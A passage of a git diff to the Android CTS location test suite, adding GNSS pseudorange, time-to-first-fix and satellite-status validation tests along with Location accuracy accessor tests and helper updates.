+    boolean success = mLocationListener.await();
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+        "Time elapsed without getting the GNSS locations."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    SoftAssert softAssert = new SoftAssert(TAG);
+    for (Location location : mLocationListener.getReceivedLocationList()) {
+      checkLocationRegularFields(softAssert, location);
+    }
+
+    softAssert.assertAll();
+  }
+
+  public static void checkLocationRegularFields(SoftAssert softAssert, Location location) {
+    // For the altitude: the unit is meter
+    // The lowest exposed land on Earth is at the Dead Sea shore, at -413 meters.
+    // Whilst University of Tokyo Atacama Obsevatory is on 5,640m above sea level.
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have altitudes.", location.hasAltitude());
+    if(location.hasAltitude()) {
+      softAssert.assertTrue("Altitude should be greater than -500 (meters).",
+          location.getAltitude() >= -500);
+      softAssert.assertTrue("Altitude should be less than 6000 (meters).",
+          location.getAltitude() < 6000);
+    }
+
+    // It is guaranteed to be in the range [0.0, 360.0] if the device has a bearing.
+    // The API will return 0.0 if there is no bearing
+    // When speed = 0, the Qualcomm HAL is not filling the bearing.
+    if (location.hasSpeed() && location.getSpeed() > SPEED_EPSILON) {
+      softAssert.assertTrue("When speed is greater than 0, all GNSS locations generated by "
+        + "the LocationManager must have bearings.", location.hasBearing());
+      if(location.hasBearing()) {
+        softAssert.assertTrue("Bearing should be in the range of [0.0, 360.0]",
+            location.getBearing() >= 0 && location.getBearing() <= 360);
+      }
+    }
+
+    softAssert.assertTrue("ElapsedRaltimeNanos should be great than 0.",
+        location.getElapsedRealtimeNanos() > 0);
+
+    assertEquals("gps", location.getProvider());
+    assertTrue(location.getTime() > 0);
+
+    softAssert.assertTrue("Longitude should be in the range of [-180.0, 180.0] degrees",
+        location.getLongitude() >= -180 && location.getLongitude() <= 180);
+
+    softAssert.assertTrue("Latitude should be in the range of [-90.0, 90.0] degrees",
+        location.getLatitude() >= -90 && location.getLatitude() <= 90);
+
+    softAssert.assertTrue("All GNSS locations generated by the LocationManager "
+        + "must have speeds.", location.hasSpeed());
+
+    // For the speed, during the cts test device shouldn't move faster than 1m/s
+    if(location.hasSpeed()) {
+      softAssert.assertTrue("In the test enviorment, speed should be in the range of [0, 1] m/s",
+          location.getSpeed() >= 0 && location.getSpeed() <= 1);
+    }
+
+  }
+
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
new file mode 100644
index 0000000..a590681
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssPseudorangeVerificationTest.java
@@ -0,0 +1,206 @@
+/*
+ * Copyright (C) 2017 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts;
+
+
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test computing and verifying the pseudoranges based on the raw measurements
+ * reported by the GNSS chipset
+ */
+public class GnssPseudorangeVerificationTest extends GnssTestCase {
+  private static final String TAG = "GnssPseudorangeValTest";
+  private static final int LOCATION_TO_COLLECT_COUNT = 5;
+  private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
+  private static final int MIN_SATELLITES_REQUIREMENT = 4;
+  private static final double SECONDS_PER_NANO = 1.0e-9;
+  // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in time
+  // is 65-83 ms, which is 18 ms range.
+  // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
+  // should be in the range of [0.0, 0.021] seconds.
+  // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai can be
+  // calculated as follows:
+  // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
+  // b = GLONASS orbit Semi-Major Axis (25,508km);
+  // c = Speed of light (299,792km/s);
+  // e = earth radius (6,378km);
+  // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
+  // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
+  // which is around 0.076s.
+  private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.021;
+  // Geosync constellations have a longer range vs typical MEO orbits
+  // that are the short end of the range.
+  private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
+
+  private TestGnssMeasurementListener mMeasurementListener;
+  private TestLocationListener mLocationListener;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+
+    mTestLocationManager = new TestLocationManager(getContext());
+  }
+
+  @Override
+  protected void tearDown() throws Exception {
+    // Unregister listeners
+    if (mLocationListener != null) {
+      mTestLocationManager.removeLocationUpdates(mLocationListener);
+    }
+    if (mMeasurementListener != null) {
+      mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+    }
+    super.tearDown();
+  }
+
+  /**
+   * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+   * It only performs sanity checks for the measurements received.
+   * This tests uses actual data retrieved from Gnss HAL.
+   */
+  @CddTest(requirement="7.3.3")
+  public void testPseudorangeValue() throws Exception {
+    // Checks if Gnss hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+      return;
+    }
+
+    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+    mMeasurementListener = new TestGnssMeasurementListener(TAG,
+                                                MEASUREMENT_EVENTS_TO_COLLECT_COUNT);
+    mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+    boolean success = mLocationListener.await();
+    success &= mMeasurementListener.await();
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+        "Time elapsed without getting enough location fixes."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+    if (!mMeasurementListener.verifyStatus(isMeasurementTestStrict())) {
+      // If test is strict and verifyStatus reutrns false, an assert exception happens and
+      // test fails.   If test is not strict, we arrive here, and:
+      return; // exit (with pass)
+    }
+
+    List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+    int eventCount = events.size();
+    Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+        "GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+        eventCount > 0);
+
+    SoftAssert softAssert = new SoftAssert(TAG);
+
+    boolean hasEventWithEnoughMeasurements = false;
+    // we received events, so perform a quick sanity check on mandatory fields
+    for (GnssMeasurementsEvent event : events) {
+      // Verify Gnss Event mandatory fields are in required ranges
+      assertNotNull("GnssMeasurementEvent cannot be null.", event);
+
+      long timeInNs = event.getClock().getTimeNanos();
+      TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
+
+      ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
+      validatePseudorange(filteredMeasurements, softAssert, timeInNs);
+
+      // we need at least 4 satellites to calculate the pseudorange
+      if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
+        hasEventWithEnoughMeasurements = true;
+      }
+    }
+
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+        "Should have at least one GnssMeasurementEvent with at least 4"
+            + "GnssMeasurement. If failed, retry near window or outdoors?",
+        hasEventWithEnoughMeasurements);
+
+    softAssert.assertAll();
+  }
+
+  private ArrayList<GnssMeasurement> filterMeasurements(Collection<GnssMeasurement> measurements) {
+    ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
+    for (GnssMeasurement measurement: measurements){
+      int constellationType = measurement.getConstellationType();
+      if (constellationType == GnssStatus.CONSTELLATION_GLONASS) {
+        if ((measurement.getState()
+            & (measurement.STATE_GLO_TOD_DECODED | measurement.STATE_GLO_TOD_KNOWN)) != 0) {
+          filteredMeasurement.add(measurement);
+        }
+      }
+      else if ((measurement.getState()
+            & (measurement.STATE_TOW_DECODED | measurement.STATE_TOW_KNOWN)) != 0) {
+          filteredMeasurement.add(measurement);
+        }
+    }
+    return filteredMeasurement;
+  }
+
+  /**
+   * Uses the common reception time approach to calculate pseudorange time
+   * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+   */
+  private void validatePseudorange(Collection<GnssMeasurement> measurements,
+      SoftAssert softAssert, long timeInNs) {
+    long largestReceivedSvTimeNanosTod = 0;
+    // closest satellite has largest time (closest to now), as of nano secs of the day
+    // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
+    for(GnssMeasurement measurement : measurements) {
+      long receivedSvTimeNanosTod =  measurement.getReceivedSvTimeNanos()
+                                        % TimeUnit.DAYS.toNanos(1);
+      if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
+        largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
+      }
+    }
+    for (GnssMeasurement measurement : measurements) {
+      double threshold = PSEUDORANGE_THRESHOLD_IN_SEC;
+      int constellationType = measurement.getConstellationType();
+      // BEIDOU and QZSS's Orbit are higher, so the value of ReceivedSvTimeNanos should be small
+      if (constellationType == GnssStatus.CONSTELLATION_BEIDOU
+          || constellationType == GnssStatus.CONSTELLATION_QZSS) {
+        threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
+      }
+      double deltaiNanos = largestReceivedSvTimeNanosTod
+                          - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
+      double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
+
+      softAssert.assertTrue("deltaiSeconds in Seconds.",
+          timeInNs,
+          "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
+          String.valueOf(deltaiSeconds),
+          (deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
+    }
+
+  }
+}
diff --git a/tests/tests/location/src/android/location/cts/GnssStatusTest.java b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
index e8f3cb1..fa35438 100644
--- a/tests/tests/location/src/android/location/cts/GnssStatusTest.java
+++ b/tests/tests/location/src/android/location/cts/GnssStatusTest.java
@@ -1,6 +1,7 @@
 package android.location.cts;
 
 import android.location.GnssStatus;
+import android.util.Log;
 
 public class GnssStatusTest extends GnssTestCase  {
 
@@ -28,6 +29,11 @@
     // Register Gps Status Listener.
     TestGnssStatusCallback testGnssStatusCallback =
         new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    checkGnssChange(testGnssStatusCallback);
+  }
+
+  private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
+      throws InterruptedException {
     mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
 
     TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
@@ -46,4 +52,70 @@
             + " Consider retrying test outdoors.",
         success);
   }
+
+  /**
+   * Tests values of {@link GnssStatus}.
+   */
+  public void testGnssStatusValues() throws InterruptedException {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager,
+        TAG, MIN_HARDWARE_YEAR_MEASUREMENTS_REQUIRED, isCtsVerifierTest())) {
+      return;
+    }
+    SoftAssert softAssert = new SoftAssert(TAG);
+    // Register Gps Status Listener.
+    TestGnssStatusCallback testGnssStatusCallback =
+        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    checkGnssChange(testGnssStatusCallback);
+    validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * To validate the fields in GnssStatus class, the value is got from device
+   * @param status, GnssStatus
+   * @param softAssert, customized assert class.
+   */
+  public static void validateGnssStatus(GnssStatus status, SoftAssert softAssert) {
+    int sCount = status.getSatelliteCount();
+    Log.i(TAG, "Total satellite:" + sCount);
+    // total number of satellites for all constellation is less than 200
+    softAssert.assertTrue("Satellite count test sCount : " + sCount , sCount < 200);
+    for (int i = 0; i < sCount; ++i) {
+      softAssert.assertTrue("azimuth_degrees: Azimuth in degrees: ",
+          "0.0 <= X <= 360.0",
+          String.valueOf(status.getAzimuthDegrees(i)),
+          status.getAzimuthDegrees(i) >= 0.0 && status.getAzimuthDegrees(i) <= 360.0);
+
+      if (status.hasCarrierFrequencyHz(i)) {
+        softAssert.assertTrue("carrier_frequency_hz: Carrier frequency in hz",
+            "X > 0.0",
+            String.valueOf(status.getCarrierFrequencyHz(i)),
+            status.getCarrierFrequencyHz(i) > 0.0);
+      }
+
+      softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
+          "0.0 >= X <= 63",
+          String.valueOf(status.getCn0DbHz(i)),
+          status.getCn0DbHz(i) >= 0.0 &&
+              status.getCn0DbHz(i) <= 63.0);
+
+      softAssert.assertTrue("elevation_degrees: Elevation in Degrees :",
+          "0.0 <= X <= 90.0",
+          String.valueOf(status.getElevationDegrees(i)),
+          status.getElevationDegrees(i) >= 0.0 && status.getElevationDegrees(i) <= 90.0);
+
+      // in validateSvidSub, it will validate ConstellationType, svid
+      // however, we don't have the event time in the current scope, pass in "-1" instead
+      TestMeasurementUtil.validateSvidSub(softAssert, null,
+          status.getConstellationType(i),status.getSvid(i));
+
+      // For those function with boolean type return, just simplly call the function
+      // to make sure those function won't crash, also increase the test coverage.
+      Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
+      Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
+      Log.i(TAG, "usedInFix: " + status.usedInFix(i));
+    }
+  }
 }
diff --git a/tests/tests/location/src/android/location/cts/GnssTtffTests.java b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
new file mode 100644
index 0000000..8b2b62b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/GnssTtffTests.java
@@ -0,0 +1,186 @@
+package android.location.cts;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.SystemClock;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for the ttff (time to the first fix) validating whether TTFF is
+ * below the expected thresholds in differnt scenario
+ */
+public class GnssTtffTests extends GnssTestCase {
+
+  private static final String TAG = "GnssTtffTests";
+  private static final int LOCATION_TO_COLLECT_COUNT = 1;
+  private static final int STATUS_TO_COLLECT_COUNT = 3;
+  private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
+  // Threshold values
+  private static final int TTFF_HOT_TH_SECS = 5;
+  private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 7;
+  // The worst case we saw in the Nexus 6p device is 15sec,
+  // adding 20% margin to the threshold
+  private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+    mTestLocationManager = new TestLocationManager(getContext());
+  }
+
+  /**
+   * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
+   * cases.
+   * We first test the "WARM" start where different TTFF thresholds are chosen based on network
+   * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
+   * connection should not matter hence one threshold is used.
+   * @throws Exception
+   */
+  @CddTest(requirement="7.3.3")
+  public void testTtffWithNetwork() throws Exception {
+    ensureNetworkStatus();
+    if (hasCellularData()) {
+      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
+    }
+    else {
+      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
+    }
+    checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
+  }
+
+  /**
+   * Test Scenario 1
+   * Check whether TTFF is below the threshold on the warm start with Wifi ON
+   * 1) Delete the aiding data.
+   * 2) Get GPS, check the TTFF value
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
+    SoftAssert softAssert = new SoftAssert(TAG);
+    mTestLocationManager.sendExtraCommand("delete_aiding_data");
+    Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
+    checkTtffByThreshold("checkTtffWarmWithWifiOn",
+        TimeUnit.SECONDS.toMillis(threshold), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * Test Scenario 2
+   * Check whether TTFF is below the threhold on the hot start with wifi ON
+   * TODO(tccyp): to test the hot case with network connection off
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffHotWithWifiOn(long threshold) throws Exception {
+    SoftAssert softAssert = new SoftAssert(TAG);
+    checkTtffByThreshold("checkTtffHotWithWifiOn",
+        TimeUnit.SECONDS.toMillis(threshold), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * Make sure the device has either wifi data or cellular connection
+   */
+  private void ensureNetworkStatus(){
+    assertTrue("Device has to connect to Wifi or Cellular to complete this test.",
+        isConnectedToWifiOrCellular(getContext()));
+
+  }
+
+  private boolean hasCellularData() {
+    ConnectivityManager connManager = getConnectivityManager(getContext());
+    NetworkInfo cellularNetworkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
+    // check whether the cellular data is ON if the device has cellular capability
+    if (cellularNetworkInfo == null) {
+      Log.i(TAG, "This is a wifi only device.");
+      return false;
+    }
+    TelephonyManager telephonyManager = (TelephonyManager) getContext().getApplicationContext()
+        .getSystemService(getContext().TELEPHONY_SERVICE);
+    if (!telephonyManager.isDataEnabled()) {
+      Log.i(TAG, "Device doesn't have cellular data.");
+      return false;
+    }
+    return true;
+  }
+
+  /*
+   * Check whether TTFF is below the threshold
+   * @param testName
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffByThreshold(String testName,
+      long threshold, SoftAssert softAssert) throws Exception {
+    TestLocationListener networkLocationListener
+        = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    // fetch the networklocation first to make sure the ttff is not flaky
+    mTestLocationManager.requestNetworkLocationUpdates(networkLocationListener);
+    networkLocationListener.await();
+
+    TestGnssStatusCallback testGnssStatusCallback =
+        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+    TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    mTestLocationManager.requestLocationUpdates(locationListener);
+
+
+    long startTimeMillis = SystemClock.elapsedRealtime();
+    boolean success = testGnssStatusCallback.awaitTtff();
+    long ttffTimeMillis = SystemClock.elapsedRealtime() - startTimeMillis;
+
+    SoftAssert.failOrWarning(isMeasurementTestStrict(),
+            "Test case:" + testName
+            + ". Threshold exceeded without getting a location."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+    mTestLocationManager.removeLocationUpdates(locationListener);
+    mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+    softAssert.assertTrue("Test case: " + testName +", TTFF should be less than " + threshold
+        + " . In current test, TTFF value is: " + ttffTimeMillis, ttffTimeMillis < threshold);
+  }
+
+  /**
+   * Returns whether the device is currently connected to a wifi or cellular.
+   *
+   * @param context {@link Context} object
+   * @return {@code true} if connected to Wifi or Cellular; {@code false} otherwise
+   */
+  public static boolean isConnectedToWifiOrCellular(Context context) {
+    NetworkInfo info = getActiveNetworkInfo(context);
+    return info != null
+        && info.isConnected()
+        && (info.getType() == ConnectivityManager.TYPE_WIFI
+                 || info.getType() == ConnectivityManager.TYPE_MOBILE);
+  }
+
+  /**
+   * Gets the active network info.
+   *
+   * @param context {@link Context} object
+   * @return {@link NetworkInfo}
+   */
+  private static NetworkInfo getActiveNetworkInfo(Context context) {
+    ConnectivityManager cm = getConnectivityManager(context);
+    if (cm != null) {
+      return cm.getActiveNetworkInfo();
+    }
+    return null;
+  }
+
+  /**
+   * Gets the connectivity manager.
+   *
+   * @param context {@link Context} object
+   * @return {@link ConnectivityManager}
+   */
+  private static ConnectivityManager getConnectivityManager(Context context) {
+    return (ConnectivityManager) context.getApplicationContext()
+        .getSystemService(Context.CONNECTIVITY_SERVICE);
+  }
+
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/LocationTest.java b/tests/tests/location/src/android/location/cts/LocationTest.java
index 18faaee..3e291cf 100644
--- a/tests/tests/location/src/android/location/cts/LocationTest.java
+++ b/tests/tests/location/src/android/location/cts/LocationTest.java
@@ -36,6 +36,9 @@
 public class LocationTest extends AndroidTestCase {
     private static final float DELTA = 0.1f;
     private final float TEST_ACCURACY = 1.0f;
+    private final float TEST_VERTICAL_ACCURACY = 2.0f;
+    private final float TEST_SPEED_ACCURACY = 3.0f;
+    private final float TEST_BEARING_ACCURACY = 4.0f;
     private final double TEST_ALTITUDE = 1.0;
     private final double TEST_LATITUDE = 50;
     private final float TEST_BEARING = 1.0f;
@@ -51,6 +54,7 @@
     private static final String ENABLED_KEY = "enabled";
     private static final String MESSENGER_KEY = "messenger";
 
+
     public void testConstructor() {
         new Location("LocationProvider");
 
@@ -271,6 +275,34 @@
         assertFalse(location.hasAccuracy());
     }
 
+    public void testAccessVerticalAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasVerticalAccuracy());
+
+        location.setVerticalAccuracyMeters(1.0f);
+        assertEquals(1.0, location.getVerticalAccuracyMeters(), DELTA);
+        assertTrue(location.hasVerticalAccuracy());
+    }
+
+    public void testAccessSpeedAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasSpeedAccuracy());
+
+        location.setSpeedAccuracyMetersPerSecond(1.0f);
+        assertEquals(1.0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertTrue(location.hasSpeedAccuracy());
+    }
+
+    public void testAccessBearingAccuracy() {
+        Location location = new Location("");
+        assertFalse(location.hasBearingAccuracy());
+
+        location.setBearingAccuracyDegrees(1.0f);
+        assertEquals(1.0, location.getBearingAccuracyDegrees(), DELTA);
+        assertTrue(location.hasBearingAccuracy());
+    }
+
+
     public void testAccessAltitude() {
         Location location = new Location("");
         assertFalse(location.hasAltitude());
@@ -411,6 +443,15 @@
         assertFalse(location.hasBearing());
         assertEquals(0, location.getAccuracy(), DELTA);
         assertFalse(location.hasAccuracy());
+
+        assertEquals(0, location.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(0, location.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(0, location.getBearingAccuracyDegrees(), DELTA);
+
+        assertFalse(location.hasVerticalAccuracy());
+        assertFalse(location.hasSpeedAccuracy());
+        assertFalse(location.hasBearingAccuracy());
+
         assertNull(location.getExtras());
     }
 
@@ -486,6 +527,9 @@
         assertNotNull(l);
         assertEquals(TEST_PROVIDER, l.getProvider());
         assertEquals(TEST_ACCURACY, l.getAccuracy(), DELTA);
+        assertEquals(TEST_VERTICAL_ACCURACY, l.getVerticalAccuracyMeters(), DELTA);
+        assertEquals(TEST_SPEED_ACCURACY, l.getSpeedAccuracyMetersPerSecond(), DELTA);
+        assertEquals(TEST_BEARING_ACCURACY, l.getBearingAccuracyDegrees(), DELTA);
         assertEquals(TEST_ALTITUDE, l.getAltitude(), DELTA);
         assertEquals(TEST_LATITUDE, l.getLatitude(), DELTA);
         assertEquals(TEST_BEARING, l.getBearing(), DELTA);
@@ -498,6 +542,10 @@
     private Location createTestLocation() {
         Location l = new Location(TEST_PROVIDER);
         l.setAccuracy(TEST_ACCURACY);
+        l.setVerticalAccuracyMeters(TEST_VERTICAL_ACCURACY);
+        l.setSpeedAccuracyMetersPerSecond(TEST_SPEED_ACCURACY);
+        l.setBearingAccuracyDegrees(TEST_BEARING_ACCURACY);
+
         l.setAltitude(TEST_ALTITUDE);
         l.setLatitude(TEST_LATITUDE);
         l.setBearing(TEST_BEARING);
diff --git a/tests/tests/location/src/android/location/cts/SoftAssert.java b/tests/tests/location/src/android/location/cts/SoftAssert.java
index 4349f07..d118021 100644
--- a/tests/tests/location/src/android/location/cts/SoftAssert.java
+++ b/tests/tests/location/src/android/location/cts/SoftAssert.java
@@ -48,13 +48,17 @@
      * @param actualResult   actual value
      * @param condition      condition for test
      */
-    public void assertTrue(String message, long eventTimeInNs, String expectedResult,
+    public void assertTrue(String message, Long eventTimeInNs, String expectedResult,
                            String actualResult, boolean condition) {
         if (condition) {
             Log.i(mTag, message + ", (Test: PASS, actual : " +
                     actualResult + ", expected: " + expectedResult + ")");
         } else {
-            String errorMessage = "At time = " + eventTimeInNs + " ns, " + message +
+            String errorMessage = "";
+            if (eventTimeInNs != null) {
+                errorMessage = "At time = " + eventTimeInNs + " ns, ";
+            }
+            errorMessage += message +
                     " (Test: FAIL, actual :" + actualResult + ", " +
                     "expected: " + expectedResult + ")";
             Log.e(mTag, errorMessage);
@@ -63,6 +67,19 @@
     }
 
     /**
+     * assertTrue without eventTime
+     *
+     * @param message        test message
+     * @param expectedResult expected value
+     * @param actualResult   actual value
+     * @param condition      condition for test
+     */
+    public void assertTrue(String message, String expectedResult,
+        String actualResult, boolean condition) {
+        assertTrue(message, null, expectedResult, actualResult, condition);
+    }
+
+    /**
      * Check if a condition is true.
      * NOTE: A failure is downgraded to a warning.
      *
diff --git a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
index c63fb01..38b749f 100644
--- a/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
+++ b/tests/tests/location/src/android/location/cts/TestGnssStatusCallback.java
@@ -72,6 +72,7 @@
     @Override
     public void onSatelliteStatusChanged(GnssStatus status) {
         Log.i(mTag, "Gnss Status Listener Received Status Update");
+        mGnssStatus = status;
         mLatchStatus.countDown();
     }
 
diff --git a/tests/tests/location/src/android/location/cts/TestLocationListener.java b/tests/tests/location/src/android/location/cts/TestLocationListener.java
index f266d5a..2e4b826 100644
--- a/tests/tests/location/src/android/location/cts/TestLocationListener.java
+++ b/tests/tests/location/src/android/location/cts/TestLocationListener.java
@@ -20,6 +20,8 @@
 import android.location.LocationManager;
 import android.os.Bundle;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -32,14 +34,17 @@
     // Timeout in sec for count down latch wait
     private static final int TIMEOUT_IN_SEC = 120;
     private final CountDownLatch mCountDownLatch;
+    private List<Location>  mLocationList = null;
 
     TestLocationListener(int locationToCollect) {
         mCountDownLatch = new CountDownLatch(locationToCollect);
+        mLocationList = new ArrayList<>();
     }
 
     @Override
     public void onLocationChanged(Location location) {
         mLocationReceived = true;
+        mLocationList.add(location);
         mCountDownLatch.countDown();
     }
 
@@ -66,6 +71,15 @@
     }
 
     /**
+     * Get the list of locations received
+     *
+     * @return mLocationList, List of {@link Location}.
+     */
+    public List<Location> getReceivedLocationList(){
+        return mLocationList;
+    }
+
+    /**
      * Check if location provider is enabled.
      *
      * @return {@code true} if the location provider is enabled and {@code false}
diff --git a/tests/tests/location/src/android/location/cts/TestLocationManager.java b/tests/tests/location/src/android/location/cts/TestLocationManager.java
index cca2b78..390d450 100644
--- a/tests/tests/location/src/android/location/cts/TestLocationManager.java
+++ b/tests/tests/location/src/android/location/cts/TestLocationManager.java
@@ -117,6 +117,21 @@
     }
 
     /**
+     * See {@code LocationManager#requestNetworkLocationUpdates}.
+     *
+     * @param locationListener location listener for request
+     */
+    public void requestNetworkLocationUpdates(LocationListener locationListener) {
+        if (mLocationManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
+            Log.i(TAG, "Request Network Location updates.");
+            mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
+                0 /* minTime*/,
+                0 /* minDistance */,
+                locationListener,
+                Looper.getMainLooper());
+        }
+    }
+    /**
      * See {@link android.location.LocationManager#addGpsStatusListener (GpsStatus.Listener)}.
      * @param listener the GpsStatus.Listener to add
      */
diff --git a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
index 891fa11..eb78a5b 100644
--- a/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
+++ b/tests/tests/location/src/android/location/cts/TestMeasurementUtil.java
@@ -16,6 +16,8 @@
 
 package android.location.cts;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.location.GnssClock;
@@ -83,10 +85,10 @@
                                                     String testTag,
                                                     int minHardwareYear,
                                                     boolean isCtsVerifier) {
-       if (Build.VERSION.SDK_INT < Build.VERSION_CODES.N) {
+       if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
             Log.i(TAG, "This test is designed to work on N or newer. " +
                     "Test is being skipped because the platform version is being run in " +
-                    Build.VERSION.SDK_INT);
